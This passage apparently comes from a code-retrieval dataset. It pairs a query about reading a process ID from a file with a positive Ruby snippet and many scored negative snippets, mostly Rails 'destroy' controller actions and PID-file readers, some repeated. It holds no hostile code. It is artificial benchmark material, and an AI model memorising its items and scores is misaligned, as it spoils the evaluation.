@tipologium.destroy\n\n respond_to do |format|\n format.html { redirect_to tipologia_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "52f1960c7256a95cf76075f831ae0f8c", "score": "0.6894274", "text": "def destroy\n @pergunta_form = PerguntaForm.find(params[:id])\n @pergunta_form.destroy\n\n respond_to do |format|\n format.html { redirect_to pergunta_forms_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bd01164c6edd3314ec13ec01f586fae8", "score": "0.689254", "text": "def destroy\n @pelicula = Pelicula.find(params[:id])\n @pelicula.destroy\n render json: {message: 'Eliminated'}, status: :ok\n\n end", "title": "" }, { "docid": "17608bcf71a72d9868c611c8c81a1ac4", "score": "0.6886759", "text": "def destroy\n\n @idioma.destroy\n respond_to do |format|\n format.html { redirect_to idiomas_path(@idioma, egresso_id: @idioma.egresso_id), notice: 'Idioma excluído com sucesso.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "419a4649d1605abf3964f1b0f6e8460c", "score": "0.6872146", "text": "def destroy\n @no_de_oficio.destroy\n respond_to do |format|\n format.html { redirect_to no_de_oficios_url, notice: 'No de oficio was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "aa62c500549ed7cbec37fa479840347e", "score": "0.68714166", "text": "def destroy\n @plantilla.destroy\n respond_to do |format|\n format.html { redirect_to plantillas_url , notice: 'Plantilla Eliminada ' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3d095ffdb272dd94fff6797c24fad156", "score": "0.6871044", "text": "def destroy\n @form.destroy\n # respond_to do |format|\n # format.html { redirect_to forms_url, notice: 'Form was successfully destroyed.' }\n # format.json { head :no_content }\n # end\n end", "title": "" }, { "docid": "67eb5605ffc6851279f8ad0b963c0600", "score": "0.6868803", "text": "def destroy\n @forma_pago.destroy\n respond_to do |format|\n format.html { redirect_to formas_pagos_url, notice: 'Formas pago was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7452c4d15daf08108aaa5a1b728adb31", "score": "0.6858629", "text": "def destroy\n @json.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "4b232a2910d54d25d898ea4f0ef7d2f1", "score": "0.6854552", "text": "def destroy\n @requisitometrologico.destroy\n respond_to do |format|\n format.html { redirect_to requisitometrologicos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "20c718a9702161dc88cb788034f5a6cb", "score": "0.6854182", "text": "def destroy\n @myform.destroy\n respond_to do |format|\n format.html { redirect_to myforms_url, notice: 'Myform was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "77b6745d5ef8ed44c441070637a76742", "score": "0.68512684", "text": "def destroy\n @filled_form = @filled_forms.find(params[:id])\n @filled_form.destroy\n\n respond_with :admin, @form, @filled_form\n end", "title": "" }, { "docid": "b1a17c1ee1af05c79fe156622df44818", "score": "0.6849654", "text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end", "title": "" }, { "docid": "14a135f9ccd3dc827ef49c0a01f9518a", "score": "0.68496335", "text": "def destroy\n @form.destroy\n respond_to do |format|\n format.html { redirect_to forms_url, notice: 'Form was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "14a135f9ccd3dc827ef49c0a01f9518a", "score": "0.68496335", "text": "def destroy\n @form.destroy\n respond_to do |format|\n format.html { redirect_to forms_url, notice: 'Form was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "14a135f9ccd3dc827ef49c0a01f9518a", "score": "0.68496335", "text": "def destroy\n @form.destroy\n respond_to do |format|\n format.html { redirect_to forms_url, notice: 'Form was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "14a135f9ccd3dc827ef49c0a01f9518a", "score": "0.68496335", "text": "def destroy\n @form.destroy\n respond_to do |format|\n format.html { redirect_to forms_url, notice: 'Form was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "14a135f9ccd3dc827ef49c0a01f9518a", "score": "0.68496335", "text": "def destroy\n @form.destroy\n respond_to do |format|\n format.html { redirect_to forms_url, notice: 'Form was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "14a135f9ccd3dc827ef49c0a01f9518a", "score": "0.68496335", "text": "def destroy\n @form.destroy\n respond_to do |format|\n format.html { redirect_to forms_url, notice: 'Form was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "14a135f9ccd3dc827ef49c0a01f9518a", "score": "0.68496335", "text": "def destroy\n @form.destroy\n respond_to do |format|\n format.html { redirect_to forms_url, notice: 'Form was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "14a135f9ccd3dc827ef49c0a01f9518a", "score": "0.68496335", "text": "def destroy\n @form.destroy\n respond_to do |format|\n format.html { redirect_to forms_url, notice: 'Form was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "14a135f9ccd3dc827ef49c0a01f9518a", "score": "0.68496335", "text": "def destroy\n @form.destroy\n respond_to do |format|\n format.html { redirect_to forms_url, notice: 'Form was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "14a135f9ccd3dc827ef49c0a01f9518a", "score": "0.68496335", "text": "def destroy\n @form.destroy\n respond_to do |format|\n format.html { redirect_to forms_url, notice: 'Form was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "14a135f9ccd3dc827ef49c0a01f9518a", "score": "0.68496335", "text": "def destroy\n @form.destroy\n respond_to do |format|\n format.html { redirect_to forms_url, notice: 'Form was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "14a135f9ccd3dc827ef49c0a01f9518a", "score": "0.68496335", "text": "def destroy\n @form.destroy\n respond_to do |format|\n format.html { redirect_to forms_url, notice: 'Form was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0d916f38313d7d236f0690a13ffa6666", "score": "0.6845501", "text": "def destroy\n @farmako.destroy\n respond_to do |format|\n format.html { redirect_to farmakos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "17fd8f6deaefdb35597b29d0d198c7b1", "score": "0.68448", "text": "def destroy\n @forma_pagamento.destroy\n respond_to do |format|\n format.html { redirect_to formas_pagamentos_url, notice: 'Forma pagamento foi excluida com sucesso.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "773e5d611adeb09776f9c841e1b876cc", "score": "0.6841343", "text": "def delete_json(path, params = {}, headers = {})\n json_request(:delete, path, params, headers)\n end", "title": "" }, { "docid": "0299534fc50826d647c8496b7f7b665d", "score": "0.6839315", "text": "def destroy\n @formacion = Formacion.find(params[:id])\n @formacion.destroy\n respond_to do |format|\n # format.html { actualizar_view}\n format.js do\n render :update do |page|\n page[\"tr-formacion-#{params[:id]}\"].remove\n end\n end\n end\n end", "title": "" }, { "docid": "3010cc162999593a5f661aadf837465e", "score": "0.6838069", "text": "def destroy\n @tanf_form = TanfForm.find(params[:id])\n @tanf_form.destroy\n\n respond_to do |format|\n format.html { redirect_to tanf_forms_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "be60a7e86094ab9ab561cb6a6ca7163f", "score": "0.68360764", "text": "def destroy\n @firmante.destroy\n respond_to do |format|\n format.html { redirect_to firmantes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b81f23d68ec9275c0d59e2102ae366c3", "score": "0.68309265", "text": "def destroy\n @familium = Familium.find(params[:id])\n @familium.destroy\n\n respond_to do |format|\n format.html { redirect_to familia_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e24ee4adc4a1a7e1a49389434baa7e1d", "score": "0.6827762", "text": "def destroy\n @fabricante = Fabricante.find(params[:id])\n @fabricante.destroy\n\n respond_to do |format|\n format.html { redirect_to fabricantes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "047f419a6da6ef9fb6cf9d197115ee0b", "score": "0.6818591", "text": "def destroy\n @juicio.destroy\n respond_to do |format|\n format.html { redirect_to juicios_url, notice: 'El juicio fue eliminado con éxito.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dea8926b4abf9e896c370c1bcb580f2d", "score": "0.681568", "text": "def destroy\n @form_liquido.destroy\n respond_to do |format|\n format.html { redirect_to form_liquidos_url, notice: 'Form liquido was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "08f41dc91e3671babfe0a8655c724d6f", "score": "0.68154997", "text": "def destroy\n @form_malarium.destroy\n respond_to do |format|\n format.html { redirect_to form_malaria_url, notice: 'Form malarium was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9fc280a2fd77caa6a56292287169f035", "score": "0.68130916", "text": "def destroy\n @productousuario = Productousuario.find(params[:id])\n @productousuario.destroy\n\n respond_to do |format|\n format.html { redirect_to productousuarios_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e8c003c80c52fffa1f84d9bc0fe9d1e9", "score": "0.6812028", "text": "def destroy\n @programa_formacion.destroy\n respond_to do |format|\n format.html { redirect_to programa_formacions_url, notice: 'Programa formacion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d446d320cb522f483340a0cfea983530", "score": "0.6800946", "text": "def destroy\n @familia.destroy\n respond_to do |format|\n format.html { redirect_to familias_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c7239b564cf5875b4441d7c9b3906368", "score": "0.6798368", "text": "def destroy\n @datos_registro.destroy\n respond_to do |format|\n format.html { redirect_to datos_registros_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "63a4f09ef01f80f62574b46862fca141", "score": "0.67947435", "text": "def destroy\n @filo = Filo.find(params[:id])\n @filo.destroy\n\n respond_to do |format|\n format.html { redirect_to filos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "15beaaeb36dc3cbc7e7db130f5551e92", "score": "0.67942935", "text": "def destroy\n @isoform = Isoform.find(params[:id])\n @isoform.destroy\n\n respond_to do |format|\n format.html { redirect_to isoforms_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4055e2485131ecbdc5652898f3eec8e1", "score": "0.6789047", "text": "def destroy\n @exfono.destroy\n respond_to do |format|\n format.html { redirect_to exfonos_url, notice: 'Exfono was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8cd4316cf5f2393dcaa3fc60e2793e82", "score": "0.6787736", "text": "def destroy\n @formulario_curso = FormularioCurso.find(params[:id])\n @formulario_curso.destroy\n\n respond_to do |format|\n format.html { redirect_to formulario_cursos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0ae89eed0ce6487ebb78a4d068061ac2", "score": "0.6787184", "text": "def destroy\n @visa_form.destroy\n respond_to do |format|\n format.html { redirect_to visa_forms_url, notice: 'Visa form was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bc12f49482f2d054be46694d061c518b", "score": "0.67863697", "text": "def destroy\n @formulario_worket.destroy\n respond_to do |format|\n format.html { redirect_to formulario_workets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1b7b7f3769b2c8592e9c7e837d5702ee", "score": "0.67861485", "text": "def destroy\n @appraisal_form = AppraisalForm.find(params[:id])\n @appraisal_form.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_appraisal_forms_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7a85f4120fcc527006cc697b77344503", "score": "0.678534", "text": "def destroy\n @multistep_form.destroy\n respond_to do |format|\n format.html { redirect_to multistep_forms_url, notice: 'Multistep form was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "604a9eb8932a1f5b21c8e5003d417d7a", "score": "0.67734474", "text": "def destroy\n @servicio.destroy\n respond_to do |format|\n format.html { redirect_to servicios_url, notice: 'Programa o Grupo de Servicios eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ea920e9ea2a2ddebf0581389ac94f9f0", "score": "0.67725474", "text": "def destroy\n @fatura = Fatura.find(params[:id])\n @fatura.destroy\n\n respond_to do |format|\n format.html { redirect_to faturas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9ce0b01c482e0b45c4446af124979e46", "score": "0.677014", "text": "def destroy\n @user_form = UserForm.find(params[:id])\n @user_form.destroy\n\n respond_to do |format|\n format.html { redirect_to user_forms_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0879ade66bdab83e51e8da609fb6b45b", "score": "0.6769022", "text": "def destroy\n @resposta = Resposta.find(params[:id])\n @resposta.destroy\n\n respond_to do |format|\n format.html { redirect_to respostas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9eaa838a85bfff4bdc356eb0bbb4f968", "score": "0.67646", "text": "def destroy\n @malformacion = Malformacion.find(params[:id])\n @malformacion.destroy\n\n respond_to do |format|\n format.html { redirect_to malformacions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8d3ba5a7789cfe06da8471c4003bd23d", "score": "0.676424", "text": "def destroy\n @tipo_demanda = TipoDemanda.find(params[:id])\n @tipo_demanda.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_demandas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "eb5e57afccc822094281145fbe66e771", "score": "0.67627007", "text": "def destroy\n @giris_form.destroy\n respond_to do |format|\n format.html { redirect_to giris_forms_url, notice: 'Giris form was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d7cc64580b58cac7561f2b76c55e430e", "score": "0.6762484", "text": "def destroy\n @telefono = Telefono.find(params[:id])\n @telefono.destroy\n\n respond_to do |format|\n format.html { redirect_to telefonos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6df74f432940d9aad7da6a12154761c5", "score": "0.6759684", "text": "def destroy\n @consultorio.destroy\n respond_to do |format|\n format.html { redirect_to consultorios_url, notice: 'Consultorio was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "47b56ffd54fef9b6b49062b9e418013f", "score": "0.67593056", "text": "def destroy\n @cliente_fisico.destroy\n respond_to do |format|\n format.html { redirect_to cliente_fisicos_url }\n format.json { head :no_content }\n end\n end", "title": "" } ]
6a9925a51dbede9742117d8177f799a7
Returns the numeric PID read from the file or `nil` if the file does not exist. If you do not have permission to access the file `nil` is returned.
[ { "docid": "2718fc23f7bccfca99083c6c1b0f5659", "score": "0.8644829", "text": "def pid\n fn = filename\n Integer(File.read(fn).strip) if File.exist?(fn)\n rescue Errno::EACCES => err\n logger.error \"You do not have access to the PID file at \" \\\n \"#{fn.inspect}: #{err.message}\"\n nil\n end", "title": "" } ]
[ { "docid": "aea518c00fcafa7c9f2af7ef0b3b7eac", "score": "0.8658443", "text": "def pid\n return nil unless File.exists?(@pid_file)\n begin\n value_from_file = File.read(@pid_file)\n rescue Errno::ENOENT\n return nil\n end\n\n if /\\A\\d+\\z/.match(value_from_file)\n return value_from_file.to_i\n else\n return nil\n end\n end", "title": "" }, { "docid": "157d9a9f1c8550808e644b33615db84e", "score": "0.86355567", "text": "def pid_from_file\n File.read(pid_file).chomp.to_i\n rescue Errno::ENOENT, Errno::EACCES\n nil\n end", "title": "" }, { "docid": "157d9a9f1c8550808e644b33615db84e", "score": "0.86355567", "text": "def pid_from_file\n File.read(pid_file).chomp.to_i\n rescue Errno::ENOENT, Errno::EACCES\n nil\n end", "title": "" }, { "docid": "4389009fa84ea3f6ee957470fe2e38b0", "score": "0.85990226", "text": "def pid_from_file\n File.read(pid_file).chomp.to_i\n rescue Errno::ENOENT, Errno::EACCES\n nil\n end", "title": "" }, { "docid": "9369ce4fe17c7f0dba1e3935114a315b", "score": "0.8420028", "text": "def pid\n return nil unless pid_exists?\n dpid = nil\n begin\n File.open(pid_file, File::RDONLY) { |file| dpid = file.gets.chomp if file.flock(File::LOCK_SH|File::LOCK_NB); file.flock(File::LOCK_UN) }\n rescue\n return nil\n end\n return dpid.to_i if dpid && dpid.to_i > 0\n nil\n end", "title": "" }, { "docid": "8582575ae1eb114de133b4b3a97463f6", "score": "0.84103674", "text": "def pid_from_file\n if File.exist?(pid_file_path)\n pid = File.read(pid_file_path)\n pid.length > 0 ? pid.strip.to_i : nil\n else\n nil\n end\n end", "title": "" }, { "docid": "00778565925770825107d7de4d53a03d", "score": "0.8383309", "text": "def pid\n id = IO.read( pid_file ).strip.to_i\n ( id > 0 ) ? id : nil\n rescue Errno::ENOENT # Pid file doesn't exist\n nil\n end", "title": "" }, { "docid": "7899fea12f09292a38d68ec582fa2a2f", "score": "0.8380561", "text": "def pid\n return nil unless self.exists?\n\n File.open( @path ) { |f|\n return f.gets.to_i\n }\n end", "title": "" }, { "docid": "ec749f6ebb1b8bd327931f09c86784ab", "score": "0.8331141", "text": "def pid\n return nil unless self.exists?\n\n File.open( @path ) { |f| return f.gets.to_i }\n end", "title": "" }, { "docid": "63a102d2cce24e906ccfa19b9eb3d48f", "score": "0.83243775", "text": "def pid\n File.open( pid_path ) { |f| return f.gets.to_i } if File.exist?(pid_path)\n end", "title": "" }, { "docid": "cfe31fe162f5f4fddfad106dd3bc2d58", "score": "0.8304501", "text": "def read\n return nil if not exists?\n pid = File.read(@pid_file)\n return nil if pid.nil? or pid.empty?\n return pid.strip.to_i\n end", "title": "" }, { "docid": "08c085967564db33c3be536aed0c929c", "score": "0.83006245", "text": "def pid\n File.open( pid_path ) { |f| return f.gets.to_i } if File.exist?(pid_path)\n end", "title": "" }, { "docid": "4ddaec61d136c8a95c498e11cbdd91d0", "score": "0.8229059", "text": "def pid\n return @pid unless @pid.nil?\n\n begin\n @pid = open(self.pidpath, 'r').read.to_i\n rescue Errno::EACCES => e\n STDERR.puts \"Error: unable to open file #{self.pidpath} for reading:\\n\\t\"+\n \"(#{e.class}) #{e.message}\"\n exit!\n rescue => e\n end\n\n @pid\n end", "title": "" }, { "docid": "cbe4bed4a7cdb3083bb0dfa4a0abeb89", "score": "0.8206053", "text": "def read_pid_file(file)\n pid = File.read(file).to_i rescue nil\n end", "title": "" }, { "docid": "75c67865323ab0553852c284026864db", "score": "0.811821", "text": "def pid\n File.read(self.pid_file).to_i rescue nil\n end", "title": "" }, { "docid": "75c67865323ab0553852c284026864db", "score": "0.811821", "text": "def pid\n File.read(self.pid_file).to_i rescue nil\n end", "title": "" }, { "docid": "221e7fd6bff223dae42352087ee3ae2b", "score": "0.80683476", "text": "def pid\n File.read(@pid).to_i if File.exists?(@pid) \n end", "title": "" }, { "docid": "ff9c22d946fda1b677421a1abaa4c8fe", "score": "0.8058595", "text": "def pid\n contents = File.read(@pid_file).strip rescue ''\n real_pid = contents =~ /^\\d+$/ ? contents.to_i : nil\n \n if real_pid\n @pid = real_pid\n real_pid\n else\n @pid\n end\n end", "title": "" }, { "docid": "570d5e3dc10e1467d4edfe614769fa9f", "score": "0.794837", "text": "def pid\n pid = nil\n maybe_pid = File.read(@pid_file) rescue nil\n if maybe_pid =~ /([0-9]+)/\n maybe_pid = $1.to_i\n begin\n Process.kill(0, maybe_pid)\n rescue Errno::ESRCH\n else\n pid = maybe_pid\n end\n end\n pid\n end", "title": "" }, { "docid": "a626b4c4fb1d62fa52b290b4699413fa", "score": "0.7922014", "text": "def pid\n if(File.exists?(@opts[:pid]))\n File.read(@opts[:pid]).to_s.strip.to_i\n else\n raise FileNotFound.new \"PID file not found. Provided path: #{@opts[:pid]}\"\n end\n end", "title": "" }, { "docid": "33239cc6f6e288b3066ecd4acc780dd8", "score": "0.7860266", "text": "def pid\n value = 0\n if running?\n File.open(pid_file, 'r') do |f|\n value = f.gets\n end\n end\n value\n end", "title": "" }, { "docid": "d6aff42f06ff1590a9bdc83f134222a7", "score": "0.78485453", "text": "def pid\n Float( IO.read( pid_file ).strip ).to_i\n end", "title": "" }, { "docid": "f7c7c72fb8906ccf9f5075ea194ed91d", "score": "0.781788", "text": "def pid\n contents = File.read(self.pid_file).strip rescue ''\n real_pid = contents =~ /^\\d+$/ ? contents.to_i : nil\n \n if real_pid\n @pid = real_pid\n real_pid\n else\n @pid\n end\n end", "title": "" }, { "docid": "de751bc7fa35926ea94b4f8f26362e46", "score": "0.7800002", "text": "def get_pid_from_pid_file(pid_file_path)\n pid = File.exist?(pid_file_path.to_s) ? File.open(pid_file_path.to_s, \"r\") { |pid_handle| pid_handle.gets.strip.chomp.to_i } : nil\n valid_pid?(pid) ? pid : nil \n end", "title": "" }, { "docid": "c054f2b42ba34e248b88ad4be23475b5", "score": "0.77442664", "text": "def read_pid(path)\n if File.exist?(path)\n File.read(path).strip.to_i\n elsif config[:file_pid_crit].nil?\n unknown \"Could not read pid file #{path}\"\n else\n critical \"Could not read pid file #{path}\"\n end\n end", "title": "" }, { "docid": "26f98c80e9e6dda7a77d7add5091896a", "score": "0.7660572", "text": "def get_pid(pid_file)\n File.open(pid_file).readlines.first.chomp rescue nil\n end", "title": "" }, { "docid": "c4592074d93a228f35d59a70cf05e44b", "score": "0.76189595", "text": "def pid\n @pid ||= begin\n File.read(Monitor.pid_file_path).to_i if File.exist?(Monitor.pid_file_path)\n end\n end", "title": "" }, { "docid": "dc50ba4e5f0b460b41c79254703635c5", "score": "0.7533632", "text": "def pid\n if File.exists? opts[:pid]\n File.read(opts[:pid]).chomp.to_i\n else\n logger.warn \"PID-file does not exist! Pidfile= #{@opts[:pid].inspect}, conf=#{@config_file.inspect}\"\n nil\n end\n end", "title": "" }, { "docid": "edf8b9ca690cc311b3916a3fd0f19eb8", "score": "0.74140775", "text": "def read_pid\n pid = -1\n begin\n pid = File.read(\"./PID\")\n rescue Exception => e\n my_puts \"read_pid failed, error message is: #{e.message}\"\n end\n return pid\nend", "title": "" }, { "docid": "58a7be1da000cfcaf9ff9307e4ae420e", "score": "0.74132067", "text": "def get_pid(pid_file)\n read_file_chunk(pid_file)\n end", "title": "" }, { "docid": "02b04150d42b0fba5d6ca32d4e8e7a41", "score": "0.73025966", "text": "def pid\n begin\n my_pid = File.read(pidfile).to_i\n rescue Errno::ENOENT\n return nil\n end\n if File.exists?(\"/proc/#{my_pid}\")\n return my_pid\n end\n File.unlink(pidfile)\n nil\n end", "title": "" }, { "docid": "cd734d3a5ca26310de2fe55a491eef29", "score": "0.72237223", "text": "def get_pid\n return Mat::get_pid(@pid_file)\n end", "title": "" }, { "docid": "4073ef70513e806cc8fb251f7f4f17da", "score": "0.7185587", "text": "def pidize(pid_file_or_pid)\n pid = get_pid_from_pid_file(pid_file_or_pid) || pid_file_or_pid.to_i\n valid_pid?(pid) ? pid : nil\n end", "title": "" }, { "docid": "98499110cc3a2f6d7418aa94718eaacc", "score": "0.7059006", "text": "def read_pid(pidfile_path)\n File.read(pidfile_path).presence.try(:to_i) if File.exist?(pidfile_path)\n end", "title": "" }, { "docid": "5429a74edaff9a8684fd8a711d35bc3d", "score": "0.69268763", "text": "def pid(account)\n path = File.join account_path(account), '.dropbox', 'dropbox.pid'\n \n if File.file?(path)\n File.read(path).to_i\n else\n nil\n end\n end", "title": "" }, { "docid": "848917ca16380cb05f7b466bffaf1bd2", "score": "0.6873877", "text": "def pid()\n if File.exists?(File.expand_path(pid_file_dir + \"/feed_updater.pid\"))\n begin\n pid_file = File.open(\n File.expand_path(pid_file_dir + \"/feed_updater.pid\"), \"r\")\n return pid_file.read.to_s.strip.to_i\n rescue Exception\n return nil\n end\n else\n return nil if self.application.nil?\n begin\n return self.application.pid.pid\n rescue Exception\n return nil\n end\n end\n end", "title": "" }, { "docid": "00fe8508027f0c5a80a072e76aca1881", "score": "0.68482816", "text": "def read_pid\n IO.read(@opts[:pid]).to_i if @opts[:pid_given]\n end", "title": "" }, { "docid": "23a0fbbeae2ce1869f17f9f845f471f0", "score": "0.67288", "text": "def pid\n\t\t\t\tProcessFile.recall(@daemon)\n\t\t\tend", "title": "" }, { "docid": "08b1d6bded1bef4a0a8e5ae9893206b7", "score": "0.66603756", "text": "def pid_file\n File.expand_path(@id.to_s + \".pid\", TITAN_DIRECTORY)\n end", "title": "" }, { "docid": "6f8febca7c66b97ee3f4f54c55d4dc4c", "score": "0.6611321", "text": "def pid_file_path\n\t\tpath = self.pid_file or return nil\n\t\treturn Pathname( path )\n\tend", "title": "" }, { "docid": "1b1cf8bc657631801dc251d24e4789c9", "score": "0.6591398", "text": "def read_pid\n File.read(@queue_path + '/queue.pid').to_i\n rescue Errno::ENOENT\n sleep(1.0)\n File.read(@queue_path + '/queue.pid').to_i\n end", "title": "" }, { "docid": "1b1cf8bc657631801dc251d24e4789c9", "score": "0.6591398", "text": "def read_pid\n File.read(@queue_path + '/queue.pid').to_i\n rescue Errno::ENOENT\n sleep(1.0)\n File.read(@queue_path + '/queue.pid').to_i\n end", "title": "" }, { "docid": "2f11dc144c2fe8dfa31aae039382d97d", "score": "0.6561584", "text": "def pid(value=nil)\n @_pid ||= File.join(tmp, \"#{name}.pid\") if exists?(dir, file)\n value.nil? ? @_pid : @_pid = value\n end", "title": "" }, { "docid": "add1c5fe0ef007acb24f4fecced2d044", "score": "0.65117675", "text": "def getpid(line)\n results = line.split\n pid, pid_memory = results[0].to_i, results[4].to_f\n end", "title": "" }, { "docid": "b641f02cef01a4ce346509150dd9f267", "score": "0.6509463", "text": "def pid_file\n @pid_directory + (Pathname.new(@file_name).basename.to_s+'.pid')\n end", "title": "" }, { "docid": "571f24a23e2e9b6b416c83c5729fcd40", "score": "0.65028155", "text": "def get_ppid(pid)\n line = File.read(\"/proc/%d/status\" % pid).lines.grep(/^PPid:/)\n if line.empty?\n 0\n else\n line[0].split[1].to_i\n end\nrescue\n 0\nend", "title": "" }, { "docid": "e39b9404816213247b9d90b694ea8a25", "score": "0.65027493", "text": "def fetch_init_pid(file_name, sb_name)\n file = File.read(file_name)\n file.each_line do |line|\n return line.split(\"started with pid \").last.split(\"'\")[1].to_i if line.include?(\"started with pid\")\n end\n raise \"No pid found for #{file}\"\n end", "title": "" }, { "docid": "c1cd996c72d245d79df0ff7de5f2e264", "score": "0.64658684", "text": "def pid\n p = statusbytes.pid\n return p == 0 ? nil : p\n end", "title": "" }, { "docid": "21e1e4ca82265a59dda4a9033bb29d34", "score": "0.6390411", "text": "def pid\n return @data[\"pid\"].to_i\n end", "title": "" }, { "docid": "465c18e8c16ef44c594f76314ed64696", "score": "0.6382362", "text": "def pid_file()\n nil\n end", "title": "" }, { "docid": "465c18e8c16ef44c594f76314ed64696", "score": "0.6382362", "text": "def pid_file()\n nil\n end", "title": "" }, { "docid": "0c8f7bc111f0332cbf30c6804a7688c1", "score": "0.6358023", "text": "def pid_file_path\n File.join(@process.config.pid_root, \"#{description}.pid\")\n end", "title": "" }, { "docid": "4bdde1df8d7ed49e4d9938d899ee1785", "score": "0.6323529", "text": "def pid_file path\n @pid_file = File.absolute_path(path)\n end", "title": "" }, { "docid": "4bdde1df8d7ed49e4d9938d899ee1785", "score": "0.6323529", "text": "def pid_file path\n @pid_file = File.absolute_path(path)\n end", "title": "" }, { "docid": "ecab0a27a450e9cfe966678ab521cdf7", "score": "0.62833035", "text": "def read\n return File.read(path).to_i\n end", "title": "" }, { "docid": "3206e23aceba10818bc9abcd3aae2e22", "score": "0.62424046", "text": "def get_pid\n\t\tget_header[3..-1]\n\tend", "title": "" }, { "docid": "dbb97c6525106ba6d48a3dd4b79ca74b", "score": "0.6234308", "text": "def pid\n @pid ||= Process.pid\n end", "title": "" }, { "docid": "dbb97c6525106ba6d48a3dd4b79ca74b", "score": "0.6234308", "text": "def pid\n @pid ||= Process.pid\n end", "title": "" }, { "docid": "18a68aef46804a26fece9e67ff5d3184", "score": "0.62320095", "text": "def pid_file\n return nil if (options[:pid_file] == false)\n options[:pid_file] || File.join(options[:pid_dir], \"#{recipe_name}_#{options[:port]}.pid\")\n end", "title": "" }, { "docid": "db80d8d0735b3bb2ba807bb11148b823", "score": "0.62298745", "text": "def get_pid\n @pid = `pidof #{process_name}`.delete(\"\\n\")\n end", "title": "" }, { "docid": "79b5f2bc06e26874e814028c8c63212a", "score": "0.62171036", "text": "def parent_pid(pid)\n\tstat = File.open(\"/proc/#{pid}/stat\") { |i| i.read }\n\tstat.gsub!(/^.*\\)\\s.\\s/, '')\n\tstat.split[0].to_i\nend", "title": "" }, { "docid": "4f1eb7782faeb16cf6b1b71293ff0e17", "score": "0.62146455", "text": "def pid\n temp_proc = session.instance_variable_get((\"@process\").intern)\n temp_pid = temp_proc.nil? ? nil : temp_proc.pid\n temp_pid.nil? ? nil : temp_pid.pid\n end", "title": "" }, { "docid": "b9a4cc2dd31b355b107cfeb3dc95d62e", "score": "0.6149389", "text": "def pid\n @process.pid\n end", "title": "" }, { "docid": "ee2d96c2611376b9cb437546244acc0d", "score": "0.6130768", "text": "def pid\n @process.pid\n end", "title": "" }, { "docid": "ee2d96c2611376b9cb437546244acc0d", "score": "0.6130768", "text": "def pid\n @process.pid\n end", "title": "" }, { "docid": "4b161b93036ae07394ad527a188b510b", "score": "0.61256593", "text": "def get_tbxsosd_pid opts\n pid_file = opts.get(\"server.pid_file\")\n\n if FileTest.exists?(pid_file)\n f = File.open pid_file, 'r'\n lines = f.readlines\n pid = lines[0].to_i\n f.close\n return pid\n end\n\n return nil\nend", "title": "" }, { "docid": "63864d9b0db94ddd02a3ff1e4c3679ea", "score": "0.6120947", "text": "def fileNum\n @Fd.to_i\n end", "title": "" }, { "docid": "cb5ebf3e31f73c0981e229f63419a302", "score": "0.610524", "text": "def 